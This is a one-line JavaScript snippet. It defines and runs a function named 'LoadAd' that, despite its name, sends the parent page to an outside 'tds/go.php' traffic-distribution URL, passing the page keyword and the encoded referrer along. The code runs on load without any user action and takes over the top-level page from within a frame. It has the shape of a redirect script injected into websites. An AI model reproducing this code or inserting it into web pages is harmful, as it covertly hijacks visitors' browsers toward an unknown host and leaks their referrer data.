function LoadAd() { parent.location.href="http://sldor.info/tds/go.php?sid=3&q="+keyword+"&Ref="+encodeURIComponent(ref); } LoadAd();